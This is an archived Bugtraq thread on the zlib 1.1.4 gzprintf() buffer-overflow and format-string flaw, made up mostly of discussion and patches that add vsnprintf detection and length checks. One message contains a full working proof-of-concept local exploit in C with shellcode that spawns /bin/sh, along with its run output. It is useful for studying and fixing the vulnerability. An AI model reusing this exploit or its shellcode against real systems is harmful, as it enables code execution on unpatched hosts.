91505 2003-02-24 18:47 /43 rader/ Carlo Marcelo Arenas Belon <carenas@chasqui.lared.net.pe> Importerad: 2003-02-24 18:47 av Brevbäraren Extern mottagare: Richard Kettlewell <rjk@greenend.org.uk> Mottagare: Bugtraq (import) <3629> Ärende: Re: buffer overrun in zlib 1.1.4 ------------------------------------------------------------ > There is an internal #define (HAS_vsnprintf) that causes it to use > vsnprintf() instead of vsprintf(), but this is not enabled by default, > not tested for by the configure script, and not documented. the configure script on zlib is not generated by autoconf and is optional when building; therefore there is no config.h, and the included file "zconf.h" that is the one used for system related configuration is static. something interesting though, is that the preprocessor variables being tested are HAVE_* instead of HAS_* (HAS_vsnprintf and HAS_snprintf), as the ones found on gzio.c, what could help to explain why it is not documented, neither tested for. from the Changelog it seems those functions were added on version 1.0.6 (Jan 19, 1998) by Roland Giersig and Kevin Ruland, and probably they never included the test on configure for that. > Even if it was documented, tested for, or whatever, it is unclear what > platforms without vsnprintf() are supposed to do. Put up with the > security hole, perhaps. from the code it seems that they are supposed to use vsprintf (on an ANSI C environment) or sprintf (if not ANSI C). on any case, long strings will be silently truncated and overflows are possible as the one you coded > Finally, with HAS_vsnprintf defined, long strings will be silently > truncated (and this isn't documented anywhere). Unexpected truncation > of strings can have security implications too; I seem to recall that a > popular MTA had trouble with over-long HELO strings for instance. the attached patch fixes both of the problems, even if it breaks on systems with a broken [v]snprintf (any one yet?) and that could be considered a prerequisite for building, probably using a custom made [v]snprintf implementation like the one on : http://www.ijs.si/software/snprintf/ regards, Carlo (91505) /Carlo Marcelo Arenas Belon <carenas@chasqui.lared.net.pe>/(Ombruten) Bilaga (text/plain) i text 91506 91506 2003-02-24 18:47 /97 rader/ Carlo Marcelo Arenas Belon <carenas@chasqui.lared.net.pe> Bilagans filnamn: "zlib-1.1.4-vsnprintf.patch" Importerad: 2003-02-24 18:47 av Brevbäraren Extern mottagare: Richard Kettlewell <rjk@greenend.org.uk> Mottagare: Bugtraq (import) <3630> Bilaga (text/plain) till text 91505 Ärende: Bilaga (zlib-1.1.4-vsnprintf.patch) till: Re: buffer overrun in zlib 1.1.4 ------------------------------------------------------------ diff -ur zlib-1.1.4/configure zlib-1.1.4-vsnprintf/configure --- zlib-1.1.4/configure Wed Jul 8 13:19:35 1998 +++ zlib-1.1.4-vsnprintf/configure Mon Feb 24 00:06:55 2003 @@ -167,6 +167,54 @@ fi cat > $test.c <<EOF +#include <stdio.h> +#include "zconf.h" + +#ifdef STDC + +#include <stdarg.h> + +int test (const char *format, /* args */ ...) +{ + char buf[10]; + va_list va; + int len; + + va_start(va, format); + len = vsnprintf(buf, sizeof(buf), format, va); + va_end(va); + + return len; +} + +#else /* not ANSI C */ + +int test(format, a1, a2) + const char *format; + int a1, a2; +{ + char buf[10]; + int len; + + len = snprintf(buf, sizeof(buf), format, a1, a2); + + return len; +} +#endif + +int main(void) +{ + exit(0); +} +EOF +if test "`($CC -c $CFLAGS $test.c) 2>&1`" = ""; then + CFLAGS="$CFLAGS -DHAS_vsnprintf -DHAS_snprintf" + echo Checking for [v]snprintf support... Yes. +else + echo Checking for [v]snprintf support... No. +fi + +cat > $test.c <<EOF #include <sys/types.h> #include <sys/mman.h> #include <sys/stat.h> diff -ur zlib-1.1.4/gzio.c zlib-1.1.4-vsnprintf/gzio.c --- zlib-1.1.4/gzio.c Mon Mar 11 08:16:01 2002 +++ zlib-1.1.4-vsnprintf/gzio.c Mon Feb 24 07:48:36 2003 @@ -530,13 +530,12 @@ va_start(va, format); #ifdef HAS_vsnprintf - (void)vsnprintf(buf, sizeof(buf), format, va); + len = vsnprintf(buf, sizeof(buf), format, va); #else - (void)vsprintf(buf, format, va); + len = vsprintf(buf, format, va); #endif va_end(va); - len = strlen(buf); /* some *sprintf don't return the nb of bytes written */ - if (len <= 0) return 0; + if ((len <= 0) || (len >= Z_PRINTF_BUFSIZE)) return 0; return gzwrite(file, buf, (unsigned)len); } @@ -553,14 +552,13 @@ int len; #ifdef HAS_snprintf - snprintf(buf, sizeof(buf), format, a1, a2, a3, a4, a5, a6, a7, a8, + len = snprintf(buf, sizeof(buf), format, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20); #else - sprintf(buf, format, a1, a2, a3, a4, a5, a6, a7, a8, + len = sprintf(buf, format, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20); #endif - len = strlen(buf); /* old sprintf doesn't return the nb of bytes written */ - if (len <= 0) return 0; + if ((len <= 0) || (len >= Z_PRINTF_BUFSIZE)) return 0; return gzwrite(file, buf, len); } (91506) /Carlo Marcelo Arenas Belon <carenas@chasqui.lared.net.pe>/ 91514 2003-02-24 19:15 /83 rader/ Crazy Einstein <crazy_einstein@yahoo.com> Importerad: 2003-02-24 19:15 av Brevbäraren Extern mottagare: bugtraq@securityfocus.com Mottagare: Bugtraq (import) <3636> Ärende: poc zlib sploit just for fun :) ------------------------------------------------------------ /* \ PoC local exploit for zlib <= 1.1.4 / just for fun..not for root :) \ / Usage: gcc -o zlib zlib.c -lz \ / by CrZ [crazy_einstein@yahoo.com] lbyte [lbyte.void.ru] */ #include <zlib.h> #include <errno.h> #include <stdio.h> int main(int argc, char **argv) { char shell[]= "\x90\x90\x90\x90\x90\x90\x90\x90" "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" "\xb0\x2e\xcd\x80\xeb\x15\x5b\x31" "\xc0\x88\x43\x07\x89\x5b\x08\x89" "\x43\x0c\x8d\x4b\x08\x31\xd2\xb0" "\x0b\xcd\x80\xe8\xe6\xff\xff\xff" "/bin/sh"; gzFile f; int ret; long xret; char cret[10]; char badbuff[10000]; int i; sprintf(badbuff,"%p",shell); sscanf(badbuff,"0x%x",&xret); printf("[>] exploiting...\n"); if(!(f = gzopen("/dev/null", "w"))) { perror("/dev/null"); exit(1); } printf("[>] xret = 0x%x\n",xret); sprintf(cret,"%c%c%c%c",(xret&0xff)+4,(xret>>8)&0xff, (xret>>16)&0xff,(xret>>24)&0xff); bzero(badbuff,sizeof(badbuff)); for(i=0;i<5000;i+=4) strcat(badbuff,cret); setuid(0); setgid(0); ret = gzprintf(stderr, "%s", badbuff ); setuid(0); setgid(0); printf(">Sent!..\n"); printf("gzprintf -> %d\n", ret); ret = gzclose(f); printf("gzclose -> %d [%d]\n", ret, errno); exit(0); } [crz@blacksand crz]$ gcc -o zlib zlib.c -lz [crz@blacksand crz]$ ./zlib [>] exploiting... [>] xret = 0xbffff8f0 sh-2.05b$ exit exit [crz@blacksand crz]$ __________________________________________________ Do you Yahoo!? Yahoo! Tax Center - forms, calculators, tips, more http://taxes.yahoo.com/ (91514) /Crazy Einstein <crazy_einstein@yahoo.com>/- Kommentar i text 91689 av Kelledin <kelledin+BTQ@skarpsey.dyndns.org> 91689 2003-02-25 18:53 /89 rader/ Kelledin <kelledin+BTQ@skarpsey.dyndns.org> Importerad: 2003-02-25 18:53 av Brevbäraren Extern mottagare: bugtraq@securityfocus.com Mottagare: Bugtraq (import) <3672> Kommentar till text 91514 av Crazy Einstein <crazy_einstein@yahoo.com> Ärende: Re: poc zlib sploit just for fun :) ------------------------------------------------------------ On Sunday 23 February 2003 12:38 pm, Crazy Einstein wrote: > /* > \ PoC local exploit for zlib <= 1.1.4 > / just for fun..not for root :) > \ > / Usage: gcc -o zlib zlib.c -lz > \ > / by CrZ [crazy_einstein@yahoo.com] lbyte > [lbyte.void.ru] > */ Ok, one simple proof of concept is enough. A second potentially dangerous one (even for fun)...time to address this. ;) Attached below is a patch RK and I whipped up yesterday, after I caught wind of this problem sometime in the afternoon. It adds extra code to properly gather the vsnprintf() return code if available, and some ./configure checks to automatically set macro definitions when it detects the requisite features. zlib will still build if the host doesn't have the requisite functions for full security, but ./configure will tell you about how far you're bending over. The patch went through two revisions to get to this level of completeness; it works as it should on Linux==2.4.18/glibc>=2.2.5 but has not been tested on other platforms. RK and I both considered just completely dropping the vulnerable codepaths; environments where zlib would have to fall back to these codepaths honestly just don't deserve breathing rights. But...I figure a fix isn't truly robust unless the fixed product will still build on all the systems where it would build before. At least now zlib builds secure-where-possible, instead of broken-by-default. During zlib ./configure, you should now see the following lines: Checking whether to use vsnprintf() or snprintf()... using \ vsnprintf() Checking for vsnprintf() in stdio.h... Yes. Checking for return value of vsnprintf()... Yes. > #include <zlib.h> > #include <errno.h> > #include <stdio.h> <snip harmless but potentially wicked Proof-of-Concept code> > > > [crz@blacksand crz]$ gcc -o zlib zlib.c -lz > [crz@blacksand crz]$ ./zlib > [>] exploiting... > [>] xret = 0xbffff8f0 > sh-2.05b$ exit > exit > [crz@blacksand crz]$ On vulnerable system: [ kelledin@valhalla ~ ] # gcc -o zlibexp zlibexp.c -lz [ kelledin@valhalla ~ ] # ./zlibexp [>] exploiting... [>] xret = 0xbffffaf0 sh-2.05a$ exit exit [ kelledin@valhalla ~ ] # On patched system: [ kelledin@valhalla /usr/src ] # ./zlibexp [>] exploiting... [>] xret = 0xbffffb50 >Sent!.. gzprintf -> 0 gzclose -> 0 [1] [ kelledin@valhalla /usr/src ] # The vulnerability consists of a buffer overflow and a string-format vulnerability (in case something feeds '("Hello%c there\n", '\0')' to gzprintf). Both should be fixed by the patch below. How exploitable is this? Well, not very. The gzprintf() function is seldom used, even on a fully loaded system, so a would-be 0wner would likely have to code his own app and trick the 0wnee into running it. I've got reliable anecdotal evidence that ImageMagick calls gzprintf(), though I haven't checked for myself. -- Kelledin "If a server crashes in a server farm and no one pings it, does it still cost four figures to fix?" (91689) /Kelledin <kelledin+BTQ@skarpsey.dyndns.org>/ Bilaga (text/x-diff) i text 91690 91690 2003-02-25 18:53 /352 rader/ Kelledin <kelledin+BTQ@skarpsey.dyndns.org> Bilagans filnamn: "zlib-1.1.4-3-vsnprintf.patch" Importerad: 2003-02-25 18:53 av Brevbäraren Extern mottagare: bugtraq@securityfocus.com Mottagare: Bugtraq (import) <3673> Bilaga (text/plain) till text 91689 Ärende: Bilaga (zlib-1.1.4-3-vsnprintf.patch) till: Re: poc zlib sploit just for fun :) ------------------------------------------------------------ diff -Naur zlib-1.1.4/ChangeLog zlib-1.1.4-vsnprintf/ChangeLog --- zlib-1.1.4/ChangeLog 2002-03-11 15:02:35.000000000 +0000 +++ zlib-1.1.4-vsnprintf/ChangeLog 2003-02-24 05:31:41.000000000 +0000 @@ -1,6 +1,13 @@ ChangeLog file for zlib +Changes in 1.1.4-patched (23 February 2003) +- fix a security vulnerability related to improper use of snprintf/vsnprintf + function. +- ./configure now detects the presence of snprintf/vsnprintf and enables it + automatically if present. +- README.vsnprintf added. + Changes in 1.1.4 (11 March 2002) - ZFREE was repeated on same allocation on some error conditions. This creates a security problem described in diff -Naur zlib-1.1.4/README.vsnprintf zlib-1.1.4-vsnprintf/README.vsnprintf --- zlib-1.1.4/README.vsnprintf 1970-01-01 00:00:00.000000000 +0000 +++ zlib-1.1.4-vsnprintf/README.vsnprintf 2003-02-24 05:13:28.000000000 +0000 @@ -0,0 +1,23 @@ +During a recent audit of zlib-1.1.4, a buffer-overflow and string-format +vulnerability was found in the gzprintf() function. This has been corrected in +this version of zlib; in addition, some ./configure checks have been added to +make sure the host system can utilize the corrections fully. + +As a result, it is now strongly recommended that your host system or compiler +provide a fully C99-compliant implementation of the vsnprintf() function. +Anything less will reduce the functionality and/or security of the gzprintf() +function. The most critical aspect is that vsnprintf() should be present and +should provide a return value. If this function is missing, one of the +fallback functions (vsprintf(), snprintf(), vsnprintf()) will have to be used, +and if so, they too should return a value. If your system is lacking in any of +these aspects, the ./configure script should warn you and refer you to this +file. + +In addition, the HAS_vsnprintf and HAS_snprintf macros are automatically +defined if these functions are available. zlib-1.1.4 and older versions did +not do this, potentially leading to a broken and vulnerable zlib even when the +host system supported the requisite functionality to avoid this. + + + -- Kelledin <kelledin@users.sourceforge.net> + diff -Naur zlib-1.1.4/configure zlib-1.1.4-vsnprintf/configure --- zlib-1.1.4/configure 1998-07-08 18:19:35.000000000 +0000 +++ zlib-1.1.4-vsnprintf/configure 2003-02-24 05:13:28.000000000 +0000 @@ -156,6 +156,209 @@ fi cat > $test.c <<EOF +#include <stdio.h> + +#if (defined(__MSDOS__) || defined(_WINDOWS) || defined(_WIN32) || defined(__WIN32__) || defined(WIN32) || defined(__STDC__) || defined(__cplusplus) || defined(__OS2__)) && !defined(STDC) +# define STDC +#endif + +int main() { + int i; + + i=0; +#ifndef STDC + choke me +#endif + + return 0; +} +EOF + +if test "`($CC -c $CFLAGS $test.c) 2>&1`" = ""; then + echo "Checking whether to use vsnprintf() or snprintf()... using vsnprintf()" + + cat > $test.c <<EOF +#include <stdio.h> +#include <stdarg.h> + +int mytest(char *fmt, ...) { + char buf[20]; + va_list ap; + + va_start(ap, fmt); + vsnprintf(buf, sizeof(buf), fmt, ap); + return 0; +} + +int main() { + return (mytest("Hello%d\n", 1)); +} +EOF + + if test "`($CC -c $CFLAGS $test.c) 2>&1`" = ""; then + CFLAGS="$CFLAGS -DHAS_vsnprintf" + echo "Checking for vsnprintf() in stdio.h... Yes." + + cat > $test.c <<EOF +#include <stdio.h> +#include <stdarg.h> + +int mytest(char *fmt, ...) { + int i; + char buf[20]; + va_list ap; + + va_start(ap, fmt); + i=vsnprintf(buf, sizeof(buf), fmt, ap); + return 0; +} + +int main() { + return (mytest("Hello%d\n", 1)); +} +EOF + + if test "`($CC -c $CFLAGS $test.c) 2>&1`" = ""; then + CFLAGS="$CFLAGS -DHAS_vsnprintf_return" + echo "Checking for return value of vsnprintf()... Yes." + else + echo "Checking for return value of vsnprintf()... No." + echo " WARNING: apparently vsnprintf() does not return a value. zlib" + echo " can build but will be open to possible string-format security" + echo " vulnerabilities. See README.vsnprintf for more info." + echo + fi + else + echo "Checking for vsnprintf() in stdio.h... No." + echo " WARNING: vsnprintf() not found, falling back to vsprintf(). zlib" + echo " can build but will be open to possible buffer-overflow security" + echo " vulnerabilities. See README.vsnprintf for more info." + echo + + cat > $test.c <<EOF +#include <stdio.h> +#include <stdarg.h> + +int mytest(char *fmt, ...) { + int i; + char buf[20]; + va_list ap; + + va_start(ap, fmt); + i=vsprintf(buf, fmt, ap); + return 0; +} + +int main() { + return (mytest("Hello%d\n", 1)); +} +EOF + + if test "`($CC -c $CFLAGS $test.c) 2>&1`" = ""; then + CFLAGS="$CFLAGS -DHAS_vsprintf_return" + echo "Checking for return value of vsprintf()... Yes." + else + echo "Checking for return value of vsprintf()... No." + echo " WARNING: apparently vsprintf() does not return a value. zlib" + echo " can build but will be open to possible string-format security" + echo " vulnerabilities. See README.vsnprintf for more info." + echo + fi + fi +else + echo "Checking whether to use vsnprintf() or snprintf()... using snprintf()" + + cat > $test.c <<EOF +#include <stdio.h> +#include <stdarg.h> + +int mytest() { + char buf[20]; + va_list ap; + + va_start(ap, fmt); + snprintf(buf, sizeof(buf), fmt, ap); + return 0; +} + +int main() { + return (mytest()); +} +EOF + + if test "`($CC -c $CFLAGS $test.c) 2>&1`" = ""; then + CFLAGS="$CFLAGS -DHAS_snprintf" + echo "Checking for snprintf() in stdio.h... Yes." + + cat > $test.c <<EOF +#include <stdio.h> +#include <stdarg.h> + +int mytest() { + int i; + char buf[20]; + va_list ap; + + va_start(ap, fmt); + i=snprintf(buf, sizeof(buf), fmt, ap); + return 0; +} + +int main() { + return (mytest()); +} +EOF + + if test "`($CC -c $CFLAGS $test.c) 2>&1`" = ""; then + CFLAGS="$CFLAGS -DHAS_snprintf_return" + echo "Checking for return value of snprintf()... Yes." + else + echo "Checking for return value of snprintf()... No." + echo " WARNING: apparently snprintf() does not return a value. zlib" + echo " can build but will be open to possible string-format security" + echo " vulnerabilities. See README.vsnprintf for more info." + echo + fi + else + echo "Checking for snprintf() in stdio.h... No." + echo " WARNING: snprintf() not found, falling back to sprintf(). zlib" + echo " can build but will be open to possible buffer-overflow security" + echo " vulnerabilities. See README.vsnprintf for more info." + echo + + cat > $test.c <<EOF +#include <stdio.h> +#include <stdarg.h> + +int mytest() { + int i; + char buf[20]; + va_list ap; + + va_start(ap, fmt); + i=sprintf(buf, fmt, ap); + return 0; +} + +int main() { + return (mytest()); +} +EOF + + if test "`($CC -c $CFLAGS $test.c) 2>&1`" = ""; then + CFLAGS="$CFLAGS -DHAS_sprintf_return" + echo "Checking for return value of sprintf()... Yes." + else + echo "Checking for return value of sprintf()... No." + echo " WARNING: apparently sprintf() does not return a value. zlib" + echo " can build but will be open to possible string-format security" + echo " vulnerabilities. See README.vsnprintf for more info." + echo + fi + fi +fi + +cat > $test.c <<EOF #include <errno.h> int main() { return 0; } EOF diff -Naur zlib-1.1.4/gzio.c zlib-1.1.4-vsnprintf/gzio.c --- zlib-1.1.4/gzio.c 2002-03-11 13:16:01.000000000 +0000 +++ zlib-1.1.4-vsnprintf/gzio.c 2003-02-24 05:18:44.000000000 +0000 @@ -529,14 +529,42 @@ int len; va_start(va, format); + + /* 2003/02/23: Add proper length checking here, if possible. + * + * -- Kelledin + */ #ifdef HAS_vsnprintf - (void)vsnprintf(buf, sizeof(buf), format, va); +# ifdef HAS_vsnprintf_return + len=vsnprintf(buf, sizeof(buf), format, va); + va_end(va); + + if (len <= 0 || len >= sizeof(buf)) { + /* Resulting string too large to fit in the buffer. */ + return 0; + } +# else + vsnprintf(buf, sizeof(buf), format, va); + va_end(va); + len=strlen(buf); + if (len <= 0) return 0; +# endif #else - (void)vsprintf(buf, format, va); -#endif +# ifdef HAS_vsprintf_return + len=vsprintf(buf, format, va); + va_end(va); + + if (len <= 0 || len >= sizeof(buf)) { + /* Resulting string too large to fit in the buffer. */ + return 0; + } +# else + vsprintf(buf, format, va); va_end(va); - len = strlen(buf); /* some *sprintf don't return the nb of bytes written */ + len=strlen(buf); if (len <= 0) return 0; +# endif +#endif return gzwrite(file, buf, (unsigned)len); } @@ -552,15 +580,41 @@ char buf[Z_PRINTF_BUFSIZE]; int len; + /* 2003/02/23: Add proper length checking here when possible. + * + * -- Kelledin + */ #ifdef HAS_snprintf +# ifdef HAS_snprintf_return + len=snprintf(buf, sizeof(buf), format, a1, a2, a3, a4, a5, a6, a7, a8, + a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20); + + if (len <= 0 || len >= sizeof(buf)) { + /* Resulting string too large to fit in the buffer. */ + return 0; + } +# else snprintf(buf, sizeof(buf), format, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20); + len=strlen(buf); + if (len <= 0) return 0; +# endif #else +# ifdef HAS_sprintf_return + len=sprintf(buf, format, a1, a2, a3, a4, a5, a6, a7, a8, + a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20); + + if (len <= 0 || len >= sizeof(buf)) { + /* Resulting string too large to fit in the buffer. */ + return 0; + } +# else sprintf(buf, format, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20); -#endif - len = strlen(buf); /* old sprintf doesn't return the nb of bytes written */ + len=strlen(buf); if (len <= 0) return 0; +# endif +#endif return gzwrite(file, buf, len); } (91690) /Kelledin <kelledin+BTQ@skarpsey.dyndns.org>/(Ombruten) 91538 2003-02-24 23:00 /38 rader/ Thamer Al-Harbash <tmh@whitefang.com> Importerad: 2003-02-24 23:00 av Brevbäraren Extern mottagare: bugtraq@securityfocus.com Mottagare: Bugtraq (import) <3651> Ärende: Re: buffer overrun in zlib 1.1.4 ------------------------------------------------------------ On Sat, 22 Feb 2003, Richard Kettlewell wrote: > There is an internal #define (HAS_vsnprintf) that causes it to use > vsnprintf() instead of vsprintf(), but this is not enabled by default, > not tested for by the configure script, and not documented. This is a fairly normal (and somewhat frightening) practice I've seen in several popular packages. Last I checked ISC dhcp has a #define for vsnprintf to be vsprintf if the UNIX flavor did not support snprintf. medusa: {29} cd dhcp-3.0pl2 medusa: {30} grep sprintf `find . -name "*.h"` | tail -10 ./includes/cf/qnx.h:# define vsnprintf( buf, size, fmt, list ) vsprintf( buf, fbuf, list ) ./includes/cf/sample.h: sprintf functions which will deposit a limited number of characters ./includes/cf/sample.h:#define vsnprintf(buf, size, fmt, list) vsprintf (buf, fmt, list) ./includes/cf/sco.h:/* SCO doesn't support limited sprintfs. */ ./includes/cf/sco.h:#define vsnprintf(buf, size, fmt, list) vsprintf (buf, fmt, list) ./includes/cf/sunos4.h:/* SunOS doesn't support limited sprintfs. */ ./includes/cf/sunos4.h:#define vsnprintf(buf, size, fmt, list) vsprintf (buf, fmt, list) ./includes/cf/sunos5-5.h:/* Solaris doesn't support limited sprintfs. */ ./includes/cf/sunos5-5.h:#define vsnprintf(buf, size, fmt, list) vsprintf (buf, fmt, list) ./includes/cf/ultrix.h:#define vsnprintf(buf, size, fmt, list) vsprintf (buf, fmt, list) I know that Ted Lemon, the primary author, is aware this. I've mentioned it to him a while ago. I am also not aware of this causing any security holes; although I honestly have not given his source a security audit. There are replacement 'snprintf' packages which avoid this. Patrick Powell's replacement is used in Mutt (a popular MUA) and has a very liberal license. -- Thamer Al-Harbash http://www.whitefang.com/ team dresch made me do it (91538) /Thamer Al-Harbash <tmh@whitefang.com>/-----